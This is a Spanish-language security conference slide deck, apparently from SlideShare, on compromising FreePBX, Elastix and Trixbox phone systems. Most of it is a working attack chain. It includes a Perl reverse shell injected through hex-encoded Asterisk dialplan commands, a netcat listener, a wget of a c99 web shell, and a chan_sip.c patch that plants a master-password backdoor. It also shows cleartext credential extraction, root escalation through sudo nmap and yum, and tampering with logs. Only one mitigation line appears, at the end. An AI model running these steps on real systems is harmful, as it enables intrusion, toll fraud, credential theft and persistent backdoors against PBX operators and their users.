SlideShare ist ein Scribd-Unternehmen logo
1 von 121
Downloaden Sie, um offline zu lesen
FreePBX for Fun & Profit
Jose Luis Verdeguer
@pepeluxx

verdeguer@zoonsuite.com
http://blog.pepelux.org
http://www.zoonsuite.es

http://www.linkedin.com/in/pepelux
Sobre mi ...
●

Ingeniero Técnico de Sistemas Informáticos por la Universidad de Alicante

●

Master en Desarrollo y Programación de Aplicaciones y Servicios Web

●

Director de Sistemas en ZoonSuite, S.L.

●

Ponente en congresos de seguridad:
●

●

No Con Name – Barcelona

●

GSICKMINDS – A Coruña

●

Navaja Negra – Albacete

●

●

RootedCon – Madrid

ConectaCon – Jaén

Autor del libro: Hacking y Seguridad VoIP
¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ?
FreePBX es una distribución basada en Asterisk.
Asterisk es un software libre que realiza funciones de centralita telefónica.
¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ?
Frente a una centralita convencional, un sistema de VoIP:
Es más económico (gratis – sólo requiere un equipo no muy potente).
Es mucho más flexible (extensiones ilimitadas, plan de llamadas, etc).
Podemos realizar el mantenimiento nosotros mismos.

El único “problema” es que requiere unos mínimos conocimientos de seguridad
… o puede salirnos muy caro.
Características:
- Fail2ban que bloquea ataques de fuerza bruta (SSH, HTTP, SIP).
- MySQL sin usuarios accesibles desde el exterior.
- Obliga a usar contraseñas robustas para las cuentas de la centralita.
- Administración por HTTP en claro – FAIL!

- La sesión del panel nunca caduca – FAIL!

Aparentemente robusto desde el exterior pero …
… una vez dentro la seguridad es algo deficiente
Supongamos que tenemos acceso a un panel de control de una FreePBX.
Supongamos que tenemos acceso a un panel de control de una FreePBX.

¿ Es mucho suponer ?
Buscando servidores FreePBX con SIPvicious:

Última versión estable: 2.11.0 (Stable-4.211.64-7)

Fecha de la versión: 20/Septiembre/2013
//////////////////
Fecha escaneo: Febrero/2013
Máquinas vulnerables (<=2.10.0): 22/30 (73%)
Web accesible desde Internet: 17/30 (56%)
Buscando servidores FreePBX con Shodan:
Como decía antes ...
Supongamos que tenemos acceso a un panel de control de una FreePBX.
Lo que haría cualquier persona con acceso a un panel de una FreePBX sería crear una
extensión para hacer llamadas gratis … hasta que le pillen.
Lo que haría cualquier persona con acceso a un panel de una FreePBX sería crear una
extensión para hacer llamadas gratis … hasta que le pillen.

También podemos ejecutar comandos de Asterisk desde el CLI … aunque no permite ejecutar
comandos del sistema (como ocurre desde la consola, usando '!').
Podemos ver la versión de Asterisk con 'core show version'.

O ver las llamadas activas con 'core show channels'.
Comando System de Asterisk.
Nuestro objetivo:

Ejecutar comandos del sistema a través de llamadas telefónicas.

Para ello:
Vamos a crear una extensión nueva que, tras llamar, ejecute un System().

exten => XXX,1,Answer()
exten => XXX,2,System('nuestro comando')
exten => XXX,3,Hangup()
El problema es que FreePBX está limitado a la hora de definir lo que hace una extensión, ya
que se basa en lo permitido a través de la web, gestionado con unos simples formularios.
Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensión que nos
permita interactuar con el sistema:
Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensión que nos
permita interactuar con el sistema:

Recordemos:
Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensión que nos
permita interactuar con el sistema:

Recordemos:
Usando el CLI (Interfaz de Comandos) intentaremos crear una nueva extensión que nos
permita interactuar con el sistema:

Sería algo así:
Formato:
dialplan add extension extensión, prioridad, comando, [dato] into contexto

Ejemplo:
dialplan add extension 999,1,Answer, into ext-local
dialplan add extension 999,2,System,comando_del_sistema into ext-local
dialplan add extension 999,3,Hangup, into ext-local
Intentaremos inyectar una shell que se guarde en un fichero, usando el comando System
de Asterisk:

Trataremos de usar el comando System para crear en el sistema el siguiente script en
Perl y almacenarlo en algún lugar del servidor:

use Socket;
socket (S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
if (connect (S, sockaddr_in(31337, inet_aton("192.168.2.9"))))
{
open (STDIN, ">&S");
open (STDOUT, ">&S");
open (STDERR, ">&S");
exec ("/bin/bash -i");
}
Las líneas a inyectar, a través del CLI, quedarían de la siguiente forma:

dialplan add extension 999,1,answer, into ext-local
dialplan add extension 999,2,system,"echo -e 'use Socket;' > /tmp/s.pl" into ext-local
dialplan add extension 999,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));' >> /tmp/s.pl" into
ext-local
dialplan add extension 999,4,system,"echo -e 'if(connect(S,sockaddr_in(31337,' >> /tmp/s.pl" into ext-local
dialplan add extension 999,5,system,"echo -e 'inet_aton("192.168.2.9")))){' >> /tmp/s.pl" into ext-local
dialplan add extension 999,6,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local
dialplan add extension 999,7,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local
dialplan add extension 999,8,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local

dialplan add extension 999,9,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local
dialplan add extension 999,10,hangup, into ext-local
El problema es que a través de la web no podemos introducir ciertos caracteres, por lo que
hay que codificar la entrada:

75 73 65 20 53 6f 63 6b 65 74 3b 0d 0a
73 6f 63 6b 65 74 28 53 2c 50 46 5f 49 4e 45 54 2c 53 4f 43 4b 5f 53 54 52 45 41 4d 2c 67
65 74 70 72 6f 74 6f 62 79 6e 61 6d 65 28 22 74 63 70 22 29 29 3b 0d 0a
69 66 28 63 6f 6e 6e 65 63 74 28 53 2c 73 6f 63 6b 61 64 64 72 5f 69 6e 28 33 31 33 33 37
2c

69 6e 65 74 5f 61 74 6f 6e 28 22 31 39 32 2e 31 36 38 2e 32 2e 39 22 29 29 29 29 7b 0d 0a
6f 70 65 6e 28 53 54 44 49 4e 2c 22 3e 26 53 22 29 3b 0d 0a
6f 70 65 6e 28 53 54 44 4f 55 54 2c 22 3e 26 53 22 29 3b 0d 0a
6f 70 65 6e 28 53 54 44 45 52 52 2c 22 3e 26 53 22 29 3b 0d 0a
65 78 65 63 28 22 2f 62 69 6e 2f 62 61 73 68 20 2d 69 22 29 3b 7d 0d 0a
Quedando finalmente:
dialplan add extension 999,1,answer, into ext-local
dialplan add extension 999,2,system,"echo -e 'x75x73x65x20x53x6fx63x6bx65x74x3bx0dx0a' > /tmp/s.pl" into
ext-local
dialplan add extension 999,3,system,"echo -e
'x73x6fx63x6bx65x74x28x53x2cx50x46x5fx49x4ex45x54x2cx53x4fx43x4bx5fx53x54x52x4
5x41x4dx2cx67x65x74x70x72x6fx74x6fx62x79x6ex61x6dx65x28x22x74x63x70x22x29x29
x3bx0dx0a' >> /tmp/s.pl" into ext-local
dialplan add extension 999,4,system,"echo -e
'x69x66x28x63x6fx6ex6ex65x63x74x28x53x2cx73x6fx63x6bx61x64x64x72x5fx69x6ex28x3
3x31x33x33x37x2c' >> /tmp/s.pl" into ext-local
dialplan add extension 999,5,system,"echo -e
'x69x6ex65x74x5fx61x74x6fx6ex28x22x31x39x32x2ex31x36x38x2ex32x2ex39x22x29x29x
29x29x7bx0dx0a' >> /tmp/s.pl" into ext-local

dialplan add extension 999,6,system,"echo -e
'x6fx70x65x6ex28x53x54x44x49x4ex2cx22x3ex26x53x22x29x3bx0dx0a' >> /tmp/s.pl" into ext-local
dialplan add extension 999,7,system,"echo -e
'x6fx70x65x6ex28x53x54x44x4fx55x54x2cx22x3ex26x53x22x29x3bx0dx0a' >> /tmp/s.pl" into extlocal
dialplan add extension 999,8,system,"echo -e
'x6fx70x65x6ex28x53x54x44x45x52x52x2cx22x3ex26x53x22x29x3bx0dx0a' >> /tmp/s.pl" into
ext-local
dialplan add extension 999,9,system,"echo -e
'x65x78x65x63x28x22x2fx62x69x6ex2fx73x68x20x2dx69x22x29x3bx7dx0dx0a' >> /tmp/s.pl"
into ext-local
dialplan add extension 999,10,hangup, into ext-local
Una vez realizada la inyección de la nueva extensión en el dialplan, como
tenemos acceso al panel, nos creamos una cuenta para poder realizar
llamadas.
Configuramos un softphone con esa cuenta.
Llamamos por teléfono a la extensión 999 para ejecutar el plan de
llamadas y crear nuestro script.
Una vez realizada la inyección de la nueva extensión en el dialplan, como
tenemos acceso al panel, nos creamos una cuenta para poder realizar
llamadas.
Configuramos un softphone con esa cuenta.
Llamamos por teléfono a la extensión 999 para ejecutar el plan de
llamadas y crear nuestro script.

Tras la llamada, tendremos el script en el sistema
(almacenado como /tmp/s.pl).
Ahora creamos otro plan de llamadas para ejecutarlo:
- Recargamos el dialplan para borrar la extensión 999:

dialplan reload

- Volvemos a crear la extensión:

dialplan add extension 999,1,Answer, into ext-local
dialplan add extension 999,2,System,"perl /tmp/s.pl" into ext-local
dialplan add extension 999,3,Hangup, into ext-local
Dejamos una terminal a la escucha con Netcat en nuestro equipo:
pepelux@debian$ nc -l -p 31337

Llamamos por teléfono a la extensión 999 para ejecutar nuestro script.
Automatizando el proceso (script 1)
Automatizando el proceso (script 1)
Pasos a seguir:

1 - Creamos un plan de llamadas para crear el script con la shell:
pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -cs -ip 192.168.2.9

2 – Llamamos por teléfono para ejecutarlo.
3 - Creamos un plan de llamadas para ejecutar el script:
pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -es

4 – Ponemos una terminal a la escucha con Netcat:
pepelux@debian$ nc -l -p 31337

5 – Llamamos por teléfono para ejecutarlo.
Automatizando el proceso (script 2)
Automatizando el proceso (script 2)
Pasos a seguir:

1 – Ponemos un terminal a la escucha con Netcat:
pepelux@debian$ nc -l -p 31337

2 – Lanzamos el script:
pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -auto -call -user 206 pass 123456asd
¡¡ Veamos un caso práctico !!

DEMO
Con la última versión de FreePBX: 2.11.0 (Stable-4.211.64-7)
del 20/09/2013
¿Quiénes somos y dónde estamos?
sh-4.1$ whoami

asterisk
sh-4.1$ id
uid=uid=498(asterisk) gid=498(asterisk) groups=498(asterisk)
sh-4.1$ uname -a; cat /etc/issue /proc/version
Linux localhost.localdomain 2.6.32-358.14.1.el6.i686 #1 SMP Tue Jul 16 21:12:30 UTC 2013
i686 i686 i386 GNU/Linux
CentOS release 6.4 (Final)
Kernel r on an m

Linux version 2.6.32-358.14.1.el6.i686 (mockbuild@c6b10.bsys.dev.centos.org) (gcc version
4.4.7 20120313 (Red Hat 4.4.7-3) (GCC) ) #1 SMP Tue Jul 16 21:12:30 UTC 2013
Analicemos los servicios
Algunos comandos:
sh-4.1$ mysql -D mysql -u root -e "show databases"
sh-4.1$ mysql -D mysql -u root -e "show tables"

sh-4.1$ mysql -D mysql -u root -e "select Host,User,Password from user"
Algunos comandos:

¿ Veis algo extraño ?

sh-4.1$ mysql -D mysql -u root -e "show databases"
sh-4.1$ mysql -D mysql -u root -e "show tables"

sh-4.1$ mysql -D mysql -u root -e "select Host,User,Password from user"
Algunos comandos:

¿ Veis algo extraño ?

sh-4.1$ mysql -D mysql -u root -e "show databases"
sh-4.1$ mysql -D mysql -u root -e "show tables"

sh-4.1$ mysql -D mysql -u root -e "select Host,User,Password from user"

El usuario root NO tiene contraseña!!
Podemos darnos acceso desde el exterior:
sh-4.1$ mysql -D mysql -u root -e "grant select,insert,drop on asterisk.* to
'pepelux'@'192.168.2.9' identified by 'mipass123';"

Y acceder desde nuestra máquina:
pepelux@debian$ mysql -h 192.168.2.20 -u pepelux -p
Enter password:

Welcome to the MySQL monitor. Commands end with ; or g.
Your MySQL connection id is 184
Server version: 5.1.61 Source distribution
…..
Type 'help;' or 'h' for help. Type 'c' to clear the current input statement.
mysql>
¿Y si el administrador ha puesto una contraseña a la cuenta de root?
¿Y si el administrador ha puesto una contraseña a la cuenta de root?

En el fichero /etc/freepbx.conf (propiedad del usuario asterisk) tenemos la
contraseña de freepbxuser, en claro!

sh-4.1$ cat /etc/freepbx.conf
<?php
$amp_conf['AMPDBUSER'] = 'freepbxuser';
$amp_conf['AMPDBPASS'] = 'hm7n2Xtcrpa0';
$amp_conf['AMPDBHOST'] = 'localhost';
$amp_conf['AMPDBNAME'] = 'asterisk';
$amp_conf['AMPDBENGINE'] = 'mysql';

...
sh-4.1$ mysql -D asterisk -u freepbxuser -e "show tables" -p
Enter password:
Echemos un ojo a la web:
sh-4.1$ ls /var/www/html/admin -la
Echemos un ojo a la web:
sh-4.1$ ls /var/www/html/admin -la

¿ Veis algo extraño ?
Echemos un ojo a la web:
sh-4.1$ ls /var/www/html/admin -la

¿ Veis algo extraño ?

Soy el propietario de la web!!
¿Qué tal si subimos una shell?

sh-4.1$ cd /var/www/html
sh-4.1$ wget 192.168.2.9/freepbx/c99.txt

sh-4.1$ mv c99.txt c99.php
¿Qué tal si subimos una shell?

sh-4.1$ cd /var/www/html
sh-4.1$ wget 192.168.2.9/freepbx/c99.txt

sh-4.1$ mv c99.txt c99.php
Es posible que hayamos accedido al sistema a través de un bug y no conozcamos
la contraseña del administrador … si lo actualizan, perderemos el acceso …
Es posible que hayamos accedido al sistema a través de un bug y no conozcamos
la contraseña del administrador … si lo actualizan, perderemos el acceso …
Además, la contraseña en la BBDD no está en claro ...
sh-4.1$ mysql -u root -D asterisk -e "select username, password_sha1 from ampusers"
¡¡¡ no hay problema !!!
… en /etc/amportal.conf (propiedad del usuario asterisk) está toda la
configuración de FreePBX.

sh-4.1$ cat /etc/amportal.conf | grep PASS
AMPMGRPASS=amp111
CDRDBPASS=

ARI_ADMIN_PASSWORD=web01
AMPDBPASS=hm7n2Xtcrpa0
¡¡¡ no hay problema !!!
… en /etc/amportal.conf (propiedad del usuario asterisk) está toda la
configuración de FreePBX.

sh-4.1$ cat /etc/amportal.conf | grep PASS
AMPMGRPASS=amp111
CDRDBPASS=

ARI_ADMIN_PASSWORD=web01
AMPDBPASS=hm7n2Xtcrpa0

← Contraseña en claro del administrador
Veamos los ficheros de configuración ...
sh-4.1$ ls -la /etc/asterisk
Veamos los ficheros de configuración ...
sh-4.1$ ls -la /etc/asterisk

¿ Veis algo extraño ?
Veamos los ficheros de configuración ...
sh-4.1$ ls -la /etc/asterisk

¿ Veis algo extraño ?

Soy el propietario de Asterisk!!
¿Qué tal si usamos el servicio Manager, que por defecto viene activo?
sh-4.1$ cat /etc/asterisk/manager.conf
[general]
enabled = yes
port = 5038
bindaddr = 0.0.0.0
displayconnects=no ;only effects 1.6+

[admin]
secret = amp111
deny=0.0.0.0/0.0.0.0

permit=127.0.0.1/255.255.255.0
read = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate
write = system,call,log,verbose,command,agent,user,config,command,dtmf,reporting,cdr,dialplan,originate
Ya que tenemos el control de la web, nos creamos una página “atractiva” en
algún lugar oculto ...
Y la conectamos con el servicio Manager de la FreePBX ...
$sc = fsockopen(“localhost”, 5038, $errnum, $errdesc) or die(“Connection failed”);
fputs($sc, “Action: loginrn”);
fputs($sc, “Events: offrn”);
fputs($sc, “Username: adminrn”);
fputs($sc, “Secret: amp111rnrn”);
fputs($sc, “Action: originatern”);
fputs($sc, “Channel: LOCAL/$MI_TELEFONO@ext-localrn”);
fputs($sc, “WaitTime: 30rn”);
fputs($sc, “Exten: $TFNO_DE_MI_AMIGOrn”);
fputs($sc, “Context: ext-localrn”);
fputs($sc, “Priority: 1rnrn”);
fputs($sc, “Action: logoffrnrn”);
sleep(3);
fclose($sc);
Además, el servicio Manager NO está bloqueado ante accesos externos ...
pepelux@debian ~$ nmap 192.168.2.11 -p5038
Starting Nmap 5.21 ( http://nmap.org ) at 2013-01-22 18:21 CET
Nmap scan report for 192.168.2.11

Host is up (0.000054s latency).
PORT

STATE SERVICE

5038/tcp open unknown

Si modificamos manager.conf permitiendo el acceso desde cualquier lugar ...
permit=0.0.0.0/0.0.0.0

Podremos ejecutar comandos de Asterisk remotamente …
pepelux@debian:~$ exec 3<>/dev/tcp/localhost/5038 && echo -e "Action:
LoginnUsername:adminnSecret:amp111nEvents: offnnAction: CommandnCommand: sip show peersnnAction:
Logoffnn" >&3 && cat <&3
A ver los módulos ...
sh-4.1$ ls -la /usr/lib/asterisk/modules/
A ver los módulos ...
sh-4.1$ ls -la /usr/lib/asterisk/modules/

Bueno, al menos son propiedad de root!!!

parece que no los podemos modificar ...
¿ O sí que podemos ?
¿ O sí que podemos ?
Porque si el fichero /etc/asterisk/asterisk.conf, donde se indica la ruta de los módulos, es
propiedad del usuario asterisk …
¿ O sí que podemos ?
Porque si el fichero /etc/asterisk/asterisk.conf, donde se indica la ruta de los módulos, es
propiedad del usuario asterisk …

¿ Qué nos impide copiar los módulos en otra ruta
y modificar asterisk.conf ?
Buscamos un directorio con permisos de escritura y copiamos los módulos:

sh-4.1$ mkdir /var/lib/asterisk/moh/modules

sh-4.1$ cp /usr/lib/asterisk/modules/* /var/lib/asterisk/moh/modules/
Modificamos el fichero asterisk.conf cambiando la ruta de los módulos:
sh-4.1$ cd /etc/asterisk
sh-4.1$ mv asterisk.conf asterisk.conf.cop

sh-4.1$ echo "[directories]">asterisk.conf

sh-4.1$ echo "astetcdir => /etc/asterisk">>asterisk.conf
sh-4.1$ echo "astmoddir => /var/lib/asterisk/moh/modules">>asterisk.conf
sh-4.1$ echo "astvarlibdir => /var/lib/asterisk">>asterisk.conf
sh-4.1$ echo "astagidir => /var/lib/asterisk/agi-bin">>asterisk.conf
sh-4.1$ echo "astspooldir => /var/spool/asterisk">>asterisk.conf
sh-4.1$ echo "astrundir => /var/run/asterisk">>asterisk.conf
sh-4.1$ echo "astlogdir => /var/log/asterisk">>asterisk.conf

sh-4.1$ echo "[options]">>asterisk.conf
sh-4.1$ echo "transmit_silence_during_record = yes">>asterisk.conf
sh-4.1$ echo "languageprefix=yes">>asterisk.conf
sh-4.1$ echo "execincludes=yes">>asterisk.conf
Reiniciamos el Asterisk ...
sh-4.1$ asterisk -rx "core restart when convenient"
Reiniciamos el Asterisk ...
sh-4.1$ asterisk -rx "core restart when convenient"

Verificamos qué módulos hay en uso ...
sh-4.1$ fuser -v /usr/lib/asterisk/modules/res_curl.so
sh-4.1$ fuser -v /var/lib/asterisk/moh/modules/res_curl.so
USER

PID ACCESS COMMAND

/var/lib/asterisk/moh/modules/res_curl.so:

asterisk 2565 ....m asterisk
Y digo yo …
Y digo yo … Si Asterisk es de código abierto y somos capaces de cambiar un
módulo en la FreePBX ...
Y digo yo … Si Asterisk es de código abierto y somos capaces de cambiar un
módulo en la FreePBX ...

¿Qué tal si modificamos chan_sip.c (encargado de validar los peers) y creamos
una contraseña maestra, por código, que valide a cualquier usuario, y luego
sustituimos nuestro chan_sip.so por el original?
Función de chan_sip.c que valida el registro de los peers:
/*! brief Check user authorization from peer definition
Some actions, like REGISTER and INVITEs from peers require

authentication (if peer have secret set)
return 0 on success, non-zero on error
*/
static enum check_auth_result check_auth(struct sip_pvt *p, struct sip_request *req, const
char *username,
const char *secret, const char *md5secret, int sipmethod,
const char *uri, enum xmittype reliable, int ignore)
{
….......
}
Validación del peer:
if (!ast_strlen_zero(md5secret)) { ast_copy_string(a1_hash, md5secret, sizeof(a1_hash)); }
else {
char a1[256];
snprintf(a1, sizeof(a1), "%s:%s:%s", username, p->realm, secret);
ast_md5_hash(a1_hash, a1);
}

/* compute the expected response to compare with what we received */

{
char a2[256]; char a2_hash[256]; char resp[256];
snprintf(a2, sizeof(a2), "%s:%s", sip_methods[sipmethod].text, S_OR(keys[K_URI].s, uri));
ast_md5_hash(a2_hash, a2);

snprintf(resp, sizeof(resp), "%s:%s:%s", a1_hash, usednonce, a2_hash);
ast_md5_hash(resp_hash, resp);
}

good_response = keys[K_RESP].s && !strncasecmp(keys[K_RESP].s, resp_hash, strlen(resp_hash));
Añadiendo estas pocas líneas permitiremos que cualquier usuario valide con la
contraseña 31337:
if (good_response == 0) {

char a1[256], char a2[256]; char a2_hash[256]; char resp[256];

strcpy(secret, "31337");
snprintf(a1, sizeof(a1), "%s:%s:%s", username, p->realm, secret);
ast_md5_hash(a1_hash, a1);

snprintf(a2, sizeof(a2), "%s:%s", sip_methods[sipmethod].text, S_OR(keys[K_URI].s, uri));
ast_md5_hash(a2_hash, a2);
snprintf(resp, sizeof(resp), "%s:%s:%s", a1_hash, usednonce, a2_hash);

ast_md5_hash(resp_hash, resp);

good_response = keys[K_RESP].s && !strncasecmp(keys[K_RESP].s, resp_hash, strlen(resp_hash));
}
Compilamos en nuestra máquina el módulo y lo subimos al servidor de FreePBX:
sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so
Compilamos en nuestra máquina el módulo y lo subimos al servidor de FreePBX:
sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so

Recargamos el módulo ...
sh-4.1$ asterisk -rx "module unload chan_sip.so"
sh-4.1$ asterisk -rx "module load chan_sip.so"
Compilamos en nuestra máquina el módulo y lo subimos al servidor de FreePBX:
sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so

Recargamos el módulo ...
sh-4.1$ asterisk -rx "module unload chan_sip.so"
sh-4.1$ asterisk -rx "module load chan_sip.so"
Unable to load module chan_sip.so
Command 'module load chan_sip.so' failed.
Compilamos en nuestra máquina el módulo y lo subimos al servidor de FreePBX:
sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so

Recargamos el módulo ...
sh-4.1$ asterisk -rx "module unload chan_sip.so"
sh-4.1$ asterisk -rx "module load chan_sip.so"
Unable to load module chan_sip.so
Command 'module load chan_sip.so' failed.

Asterisk no nos permite meter un
módulo de otra compilación!!
Pero …
Pero …
Y si nos descargamos el chan_sip.so original a nuestra máquina ...
sh-4.1$ cp /usr/lib/asterisk/modules/chan_sip.so /var/www/html/

pepelux@debian$ wget http://192.168.2.20/chan_sip.so

Y lo comparamos con la copia usando el comando strings:
pepelux@debian$ strings chan_sip_orig.so
__gmon_start__
__cxa_finalize
_Jv_RegisterClasses

ast_str_append
….......
_ast_calloc
95089850e3c922fa176f9bd274fd8109 ← Huella del fichero original
pepelux@debian$ strings chan_sip_cop.so

__gmon_start__
__cxa_finalize
_Jv_RegisterClasses
ast_str_append
….......
;*2$"
47bd3e0f3e5a335edebd1441b5beb3af ← Huella del fichero modificado
pepelux@debian$ strings chan_sip_cop.so

__gmon_start__
__cxa_finalize
_Jv_RegisterClasses
ast_str_append
….......
;*2$"
47bd3e0f3e5a335edebd1441b5beb3af ← Huella del fichero modificado

Con un editor hexadecimal le ponemos al nuevo fichero la huella del original.
Repetimos el proceso …
sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so
Repetimos el proceso …
sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so

Recargamos el módulo ...

sh-4.1$ asterisk -rx "module unload chan_sip.so"
sh-4.1$ asterisk -rx "module load chan_sip.so"
Repetimos el proceso …
sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so

Recargamos el módulo ...

sh-4.1$ asterisk -rx "module unload chan_sip.so"
sh-4.1$ asterisk -rx "module load chan_sip.so"

Loaded module chan_sip.so
Repetimos el proceso …
sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so

Recargamos el módulo ...

sh-4.1$ asterisk -rx "module unload chan_sip.so"
sh-4.1$ asterisk -rx "module load chan_sip.so"

Loaded module chan_sip.so

Hemos troyanizado el Asterisk!!
Repetimos el proceso …
sh-4.1$ cd /var/lib/asterisk/moh/modules/
sh-4.1$ rm chan_sip.so
sh-4.1$ wget http://192.168.2.9:/freepbx/chan_sip.so

Recargamos el módulo ...

sh-4.1$ asterisk -rx "module unload chan_sip.so"
sh-4.1$ asterisk -rx "module load chan_sip.so"

Loaded module chan_sip.so

Hemos troyanizado el Asterisk!!
¡¡ Veamos un caso práctico !!

DEMO
Con la última versión de FreePBX: 2.11.0 (Stable-4.211.64-7)
del 20/09/2013
El problema es que con todo esto, habremos dejado muchos logs ...
El problema es que con todo esto, habremos dejado muchos logs ...
No pasa nada, los logs también son propiedad del usuario asterisk!
sh-4.1$ ls -la /var/log/asterisk -la
El problema es que con todo esto, habremos dejado muchos logs ...
No pasa nada, los logs también son propiedad del usuario asterisk!
sh-4.1$ ls -la /var/log/asterisk -la
Además de todo esto, si la versión de FreePBX es <= 2.10.0 …
sh-4.1$ cat /etc/sudoers
asterisk ALL = NOPASSWD: /sbin/shutdown
asterisk ALL = NOPASSWD: /usr/bin/nmap
asterisk ALL = NOPASSWD: /usr/bin/yum
asterisk ALL = NOPASSWD: /bin/touch
asterisk ALL = NOPASSWD: /bin/chmod
asterisk ALL = NOPASSWD: /bin/chown
asterisk ALL = NOPASSWD: /sbin/service
asterisk ALL = NOPASSWD: /sbin/init
asterisk ALL = NOPASSWD: /usr/sbin/postmap
asterisk ALL = NOPASSWD: /usr/sbin/postfix
asterisk ALL = NOPASSWD: /usr/sbin/saslpasswd2
uucp ALL = NOPASSWD: /bin/chmod
asterisk ALL = NOPASSWD: /usr/sbin/hardware_detector
asterisk ALL = NOPASSWD: /sbin/chkconfig
¡ Podemos rootear la máquina !
sh-4.1$ sudo nmap --interactive
Starting Nmap V. 4.11 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h for help
nmap> !sh
id
uid=0(root) gid=0(root) groups=0(root)
Otros sistemas
La web es mucho más estricta y no podemos inyectar el script desde el CLI
Otros sistemas
La web es mucho más estricta y no podemos inyectar el script desde el CLI
Pero trae un editor de ficheros que nos permite crear un nuevo fichero con la shell:

Creamos a mano el plan de llamadas en extensions.conf (o desde el CLI):
dialplan reload
dialplan add extension 999,1,answer, into from-internal

dialplan add extension 999,2,system,/usr/bin/perl</etc/asterisk/shell.conf into from-internal
dialplan add extension 999,3,hangup, into from-internal
Otros sistemas

Durante la instalación nos obliga a poner una contraseña al usuario root de mysql.
Otros sistemas

Durante la instalación nos obliga a poner una contraseña al usuario root de mysql.
Pero:
bash-3.2$ cat /etc/elastix.conf
mysqlrootpwd=asterisk01 ← Contraseña de root para mysql
cyrususerpwd=asterisk01 ← Contraseña de IMAPd

amiadminpwd=web01 ← Contraseña del administrador de la web
Otros sistemas
Una vez dentro, lo mismo que antes.
bash-3.2$ id
uid=100(asterisk) gid=101(asterisk)
La web es propiedad del usuario asterisk.
Los ficheros de configuración de Asterisk son también propiedad del usuario asterisk, y el
proceso para cambiar un módulo es el mismo.
Una vez tenemos acceso al sistema, la configuración es prácticamente la misma que en una
FreePBX.
Otros sistemas
En versiones de Elastix superiores a la 2.2.0 se ha corregido el “problema” del fichero sudoers
...
Otros sistemas
En versiones de Elastix superiores a la 2.2.0 se ha corregido el “problema” del fichero sudoers
… pero olvidaron quitar los permisos para el comando yum (hasta la versión 2.4.0)
bash-3.2$ cat /etc/sudoers
asterisk ALL = NOPASSWD: /sbin/shutdown
asterisk ALL = NOPASSWD: /usr/bin/yum
...

Por lo que si tenemos acceso por consola … ¡ podemos rootear la máquina !
bash-3.2$ wget http://x.x.x.x/backdoor.rpm

bash-3.2$ sudo yum localinstall backdoor.rpm
Otros sistemas
La web no trae interfaz de comandos (CLI)
Otros sistemas
La web no trae interfaz de comandos (CLI)
Pero trae un editor de ficheros que nos permite modificar ficheros de configuración:

Creamos a mano el plan de llamadas en extensions.conf:
[from-internal]
exten => 999,1,answer()

exten => 999,2,system(/usr/bin/perl</etc/asterisk/sip_custom.conf)
exten => 999,3,hangup()
Otros sistemas
Una vez dentro, lo mismo que antes.
bash-3.2$ id
uid=100(asterisk) gid=101(asterisk)
bash-3.2$ grep AMPDB /etc/amportal.conf
AMPDBNAME=asterisk ← BBDD de Asterisk
AMPDBUSER=asteriskuser ← Usuario para mysql

AMPDBPASS=amp109 ← Contraseña para mysql
La web y el Asterisk, también son propiedad del usuario asterisk, al igual que en las otras
distribuciones.
Otros sistemas
En Trixbox siguen estando nmap y yum permitidos en el fichero sudoers ….

bash-3.2$ cat /etc/sudoers
asterisk ALL = NOPASSWD: /sbin/shutdown
asterisk ALL = NOPASSWD: /usr/bin/nmap
asterisk ALL = NOPASSWD: /usr/bin/yum
asterisk ALL = NOPASSWD: /bin/chown
asterisk ALL = NOPASSWD: /bin/chmod
….......

Por lo que si tenemos acceso por consola … ¡ podemos rootear la máquina !
Consecuencias
¿ Y qué pasa si alguien entra en el sistema y hace alguna llamada ?

No puede ser tan grave …
Consecuencias
¿ Y qué pasa si alguien entra en el sistema y hace alguna llamada ?

No puede ser tan grave … ¿ o sí ?
Consecuencias
Además, una vez accedida a la consola, mediante técnicas de “Man in The Middle” (MiTM)
podemos:
Monitorizar todo el tráfico de la red:
●
Obtención de contraseñas (correo, bancos, redes sociales, etc).
●
A pesar de acceder a páginas seguras (HTTPS) → uso de SSLStrip.

●

Realizar ataques de “phishing”:
●
Suplantación de nombres de dominio y redirección a páginas clonadas.

●

Inyección de “malware”:
●
Instalación de código JS que permita apoderarnos de los diferentes PCs.
●
Troyanización de equipos.

●
Soluciones
Si vamos a usar este tipo de plataformas, debemos tomar unas ciertas medidas de seguridad:
- Restringir el acceso a la web únicamente desde la red local.
